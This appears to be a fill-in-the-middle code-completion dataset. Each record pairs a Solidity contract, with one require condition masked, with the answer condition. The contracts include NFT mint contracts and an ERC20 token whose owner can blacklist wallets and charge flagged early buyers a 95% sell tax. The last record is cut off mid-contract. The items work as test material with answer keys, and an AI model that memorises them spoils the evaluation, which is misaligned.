internal view virtual override returns (uint256) { } }
phaseData[_phaseId].userMintedAmount[msg.sender]==0,"You already have a SBT"
99,912
phaseData[_phaseId].userMintedAmount[msg.sender]==0
"Sale is closed"
// SPDX-License-Identifier: MIT // Copyright (c) 2022 Keisuke OHNO /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >=0.7.0 <0.9.0; import { Base64 } from 'base64-sol/base64.sol'; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; //tokenURI interface interface iTokenURI { function tokenURI(uint256 _tokenId) external view returns (string memory); } contract UmucoCollection is Ownable, ERC721A{ constructor( ) ERC721A("Umuco Collection", "UMC") { } // //withdraw section // address public constant withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6; function withdraw() public onlyOwner { } // //mint section // bool public paused = true; uint256 public nextPhase = 0; mapping(uint256 => uint256) public phaseIdByTokenId; mapping(uint256 => phaseStrct) public phaseData; struct phaseStrct { //input string fileName; string metadataTitle; string metadataDescription; string metadataAttributes; address withdrawAddress; bool useAnimationUrl; string animationFileName; uint256 cost; bool onSale; mapping(address => uint256) userMintedAmount; } function _updateNextPhase(uint256 _currentPhase )internal{ } function setPhaseData( uint256 _id , string memory _fileName , string memory _metadataTitle , string memory _metadataDescription , string memory _metadataAttributes , address _withdrawAddress, bool _useAnimationUrl, string memory _animationFileName, uint256 _cost, bool _onSale ) public onlyOwner { } modifier callerIsUser() { } //mint function mint(uint256 _phaseId ) public payable callerIsUser{ require( !paused , "the contract is paused"); require( phaseData[_phaseId].cost <= msg.value , "insufficient funds"); require( phaseData[_phaseId].userMintedAmount[msg.sender] == 0 , "You already have a SBT" ); require(<FILL_ME>) phaseData[_phaseId].userMintedAmount[msg.sender]++; phaseIdByTokenId[_nextTokenId()] = _phaseId; _safeMint(msg.sender, 1); (bool os, ) = payable( phaseData[_phaseId].withdrawAddress ).call{value: address(this).balance}(''); require(os); } function adminMint(uint256 _phaseId) public onlyOwner{ } function pause(bool _state) public onlyOwner { } function getUserMintedAmountByPhaseId(uint256 _phaseId , address _address) public view returns (uint256){ } function getOnSaleByPhaseId(uint256 _phaseId ) public view returns (bool){ } function setOnSale(uint256 _phaseId , bool _onSale) public onlyOwner{ } // //URI section // string public baseURI; string public baseExtension = ".json"; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } // //interface metadata // iTokenURI public interfaceOfTokenURI; bool public useInterfaceMetadata = false; function setInterfaceOfTokenURI(address _address) public onlyOwner() { } function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyOwner() { } // //single metadata // bool public useSingleMetadata = false; //single image metadata function setUseSingleMetadata(bool _useSingleMetadata) public onlyOwner() { } // //token URI // function tokenURI(uint256 tokenId) public view override returns (string memory) { } function encodePackedJson(uint256 _tokenId) public view returns (bytes memory) { } // //viewer section // function tokensOfOwner(address owner) public view returns (uint256[] memory) { } // //sbt section // bool public isSBT = false; function setIsSBT(bool _state) public onlyOwner { } function _sbt() internal view returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{ } function setApprovalForAll(address operator, bool approved) public virtual override { } function approve(address to, uint256 tokenId) public payable virtual override { } // //override // function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) { } function _startTokenId() internal view virtual override returns (uint256) { } }
phaseData[_phaseId].onSale==true,"Sale is closed"
99,912
phaseData[_phaseId].onSale==true
"transfer is prohibited"
// SPDX-License-Identifier: MIT // Copyright (c) 2022 Keisuke OHNO /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >=0.7.0 <0.9.0; import { Base64 } from 'base64-sol/base64.sol'; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; //tokenURI interface interface iTokenURI { function tokenURI(uint256 _tokenId) external view returns (string memory); } contract UmucoCollection is Ownable, ERC721A{ constructor( ) ERC721A("Umuco Collection", "UMC") { } // //withdraw section // address public constant withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6; function withdraw() public onlyOwner { } // //mint section // bool public paused = true; uint256 public nextPhase = 0; mapping(uint256 => uint256) public phaseIdByTokenId; mapping(uint256 => phaseStrct) public phaseData; struct phaseStrct { //input string fileName; string metadataTitle; string metadataDescription; string metadataAttributes; address withdrawAddress; bool useAnimationUrl; string animationFileName; uint256 cost; bool onSale; mapping(address => uint256) userMintedAmount; } function _updateNextPhase(uint256 _currentPhase )internal{ } function setPhaseData( uint256 _id , string memory _fileName , string memory _metadataTitle , string memory _metadataDescription , string memory _metadataAttributes , address _withdrawAddress, bool _useAnimationUrl, string memory _animationFileName, uint256 _cost, bool _onSale ) public onlyOwner { } modifier callerIsUser() { } //mint function mint(uint256 _phaseId ) public payable callerIsUser{ } function adminMint(uint256 _phaseId) public onlyOwner{ } function pause(bool _state) public onlyOwner { } function getUserMintedAmountByPhaseId(uint256 _phaseId , address _address) public view returns (uint256){ } function getOnSaleByPhaseId(uint256 _phaseId ) public view returns (bool){ } function setOnSale(uint256 _phaseId , bool _onSale) public onlyOwner{ } // //URI section // string public baseURI; string public baseExtension = ".json"; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } // //interface metadata // iTokenURI public interfaceOfTokenURI; bool public useInterfaceMetadata = false; function setInterfaceOfTokenURI(address _address) public onlyOwner() { } function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyOwner() { } // //single metadata // bool public useSingleMetadata = false; //single image metadata function setUseSingleMetadata(bool _useSingleMetadata) public onlyOwner() { } // //token URI // function tokenURI(uint256 tokenId) public view override returns (string memory) { } function encodePackedJson(uint256 _tokenId) public view returns (bytes memory) { } // //viewer section // function tokensOfOwner(address owner) public view returns (uint256[] memory) { } // //sbt section // bool public isSBT = false; function setIsSBT(bool _state) public onlyOwner { } function _sbt() internal view returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{ require(<FILL_ME>) super._beforeTokenTransfers(from, to, startTokenId, quantity); } function setApprovalForAll(address operator, bool approved) public virtual override { } function approve(address to, uint256 tokenId) public payable virtual override { } // //override // function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) { } function _startTokenId() internal view virtual override returns (uint256) { } }
_sbt()==false||from==address(0),"transfer is prohibited"
99,912
_sbt()==false||from==address(0)
"setApprovalForAll is prohibited"
// SPDX-License-Identifier: MIT // Copyright (c) 2022 Keisuke OHNO /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >=0.7.0 <0.9.0; import { Base64 } from 'base64-sol/base64.sol'; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; //tokenURI interface interface iTokenURI { function tokenURI(uint256 _tokenId) external view returns (string memory); } contract UmucoCollection is Ownable, ERC721A{ constructor( ) ERC721A("Umuco Collection", "UMC") { } // //withdraw section // address public constant withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6; function withdraw() public onlyOwner { } // //mint section // bool public paused = true; uint256 public nextPhase = 0; mapping(uint256 => uint256) public phaseIdByTokenId; mapping(uint256 => phaseStrct) public phaseData; struct phaseStrct { //input string fileName; string metadataTitle; string metadataDescription; string metadataAttributes; address withdrawAddress; bool useAnimationUrl; string animationFileName; uint256 cost; bool onSale; mapping(address => uint256) userMintedAmount; } function _updateNextPhase(uint256 _currentPhase )internal{ } function setPhaseData( uint256 _id , string memory _fileName , string memory _metadataTitle , string memory _metadataDescription , string memory _metadataAttributes , address _withdrawAddress, bool _useAnimationUrl, string memory _animationFileName, uint256 _cost, bool _onSale ) public onlyOwner { } modifier callerIsUser() { } //mint function mint(uint256 _phaseId ) public payable callerIsUser{ } function adminMint(uint256 _phaseId) public onlyOwner{ } function pause(bool _state) public onlyOwner { } function getUserMintedAmountByPhaseId(uint256 _phaseId , address _address) public view returns (uint256){ } function getOnSaleByPhaseId(uint256 _phaseId ) public view returns (bool){ } function setOnSale(uint256 _phaseId , bool _onSale) public onlyOwner{ } // //URI section // string public baseURI; string public baseExtension = ".json"; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } // //interface metadata // iTokenURI public interfaceOfTokenURI; bool public useInterfaceMetadata = false; function setInterfaceOfTokenURI(address _address) public onlyOwner() { } function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyOwner() { } // //single metadata // bool public useSingleMetadata = false; //single image metadata function setUseSingleMetadata(bool _useSingleMetadata) public onlyOwner() { } // //token URI // function tokenURI(uint256 tokenId) public view override returns (string memory) { } function encodePackedJson(uint256 _tokenId) public view returns (bytes memory) { } // //viewer section // function tokensOfOwner(address owner) public view returns (uint256[] memory) { } // //sbt section // bool public isSBT = false; function setIsSBT(bool _state) public onlyOwner { } function _sbt() internal view returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{ } function setApprovalForAll(address operator, bool approved) public virtual override { require(<FILL_ME>) super.setApprovalForAll(operator, approved); } function approve(address to, uint256 tokenId) public payable virtual override { } // //override // function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) { } function _startTokenId() internal view virtual override returns (uint256) { } }
_sbt()==false,"setApprovalForAll is prohibited"
99,912
_sbt()==false
"Caller is not the owner or manager"
pragma solidity 0.8.17; contract FreeNFTxyzCLT is ERC721A, Ownable { string private baseURI = ""; uint256 public constant maxSupply = 6969; uint256 public constant mintQuantity = 1; bool public mintIsActive; address private _manager; mapping(address => uint256) private amountMinted; constructor() ERC721A("FreeNFT.xyz Collectible Launch Token", "FreeNFTCLT") { } modifier onlyOwnerOrManager() { require(<FILL_ME>) _; } modifier eligibleToMint() { } function mint() public eligibleToMint { } function ownerMint(uint256 _quantity) public onlyOwner { } function flipMintState() external onlyOwnerOrManager { } function setManager(address manager) external onlyOwnerOrManager { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function _startTokenId() internal pure override(ERC721A) returns (uint256 startId) { } }
owner()==_msgSender()||_manager==_msgSender(),"Caller is not the owner or manager"
99,950
owner()==_msgSender()||_manager==_msgSender()
"You can not mint more than one token per wallet."
pragma solidity 0.8.17; contract FreeNFTxyzCLT is ERC721A, Ownable { string private baseURI = ""; uint256 public constant maxSupply = 6969; uint256 public constant mintQuantity = 1; bool public mintIsActive; address private _manager; mapping(address => uint256) private amountMinted; constructor() ERC721A("FreeNFT.xyz Collectible Launch Token", "FreeNFTCLT") { } modifier onlyOwnerOrManager() { } modifier eligibleToMint() { require(mintIsActive, "The contract has not started minting."); require(<FILL_ME>) require( totalSupply() + mintQuantity <= maxSupply, "All tokens have been minted." ); _; } function mint() public eligibleToMint { } function ownerMint(uint256 _quantity) public onlyOwner { } function flipMintState() external onlyOwnerOrManager { } function setManager(address manager) external onlyOwnerOrManager { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function _startTokenId() internal pure override(ERC721A) returns (uint256 startId) { } }
amountMinted[_msgSender()]==0,"You can not mint more than one token per wallet."
99,950
amountMinted[_msgSender()]==0
"All tokens have been minted."
pragma solidity 0.8.17; contract FreeNFTxyzCLT is ERC721A, Ownable { string private baseURI = ""; uint256 public constant maxSupply = 6969; uint256 public constant mintQuantity = 1; bool public mintIsActive; address private _manager; mapping(address => uint256) private amountMinted; constructor() ERC721A("FreeNFT.xyz Collectible Launch Token", "FreeNFTCLT") { } modifier onlyOwnerOrManager() { } modifier eligibleToMint() { require(mintIsActive, "The contract has not started minting."); require( amountMinted[_msgSender()] == 0, "You can not mint more than one token per wallet." ); require(<FILL_ME>) _; } function mint() public eligibleToMint { } function ownerMint(uint256 _quantity) public onlyOwner { } function flipMintState() external onlyOwnerOrManager { } function setManager(address manager) external onlyOwnerOrManager { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function _startTokenId() internal pure override(ERC721A) returns (uint256 startId) { } }
totalSupply()+mintQuantity<=maxSupply,"All tokens have been minted."
99,950
totalSupply()+mintQuantity<=maxSupply
"ERC20: Can not transfer from BOT"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); require(<FILL_ME>) if(!active){ require(_TaxExclude[from] || _TaxExclude[to], "ERC20: Trading Is Not active!"); } if (maxWalletOn == true && ! _MaxExclude[to]) { require(balanceOf(to).add(amount) <= _MaxWallet, "ERC20: Max amount of tokens for wallet reached"); } if(actions){ if (from != owner() && to != owner() && to != address(0) && to != DEAD && to != uniV2Pair) { for (uint x = 0; x < 1; x++) { if(block.number == LiveBlock.add(x)) { _Sniper[to] = true; } } } } uint256 totalTokensToSwap = liquidityTokens.add(marketingTokens); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _MinTS; if (!isal && sals && balanceOf(uniV2Pair) > 0 && totalTokensToSwap > 0 && !_TaxExclude[to] && !_TaxExclude[from] && to == uniV2Pair && overMinimumTokenBalance) { taxTokenSwap(); } if (_TaxExclude[from] || _TaxExclude[to]) { marketingTax = 0; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } else { if (from == uniV2Pair) { marketingTax = taxBuyMarketing; treasuryTax = taxBuyTreasury; liquidityTax = taxBuyLiquidity; tDivider = taxBuyMarketing.add(taxBuyTreasury).add(taxBuyLiquidity); }else if (to == uniV2Pair) { marketingTax = taxSellMarketing; treasuryTax = taxSellTreasury; liquidityTax = taxSellLiquidity; tDivider = taxSellMarketing.add(taxSellTreasury).add(taxSellLiquidity); if(_Sniper[from] && EndSniperPen >= block.timestamp){ marketingTax = 95; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } }else { require(!_Sniper[from] || EndSniperPen <= block.timestamp, "ERC20: Snipers can not transfer till penalty time is over"); marketingTax = 0; treasuryTax = 0; liquidityTax = 0; } } tokenTransfer(from, to, amount); } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { } function removeBot(address account) external onlyOwner { } function removeSniper(address account) external onlyOwner { } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
!_Bot[from],"ERC20: Can not transfer from BOT"
100,019
!_Bot[from]
"ERC20: Trading Is Not active!"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public 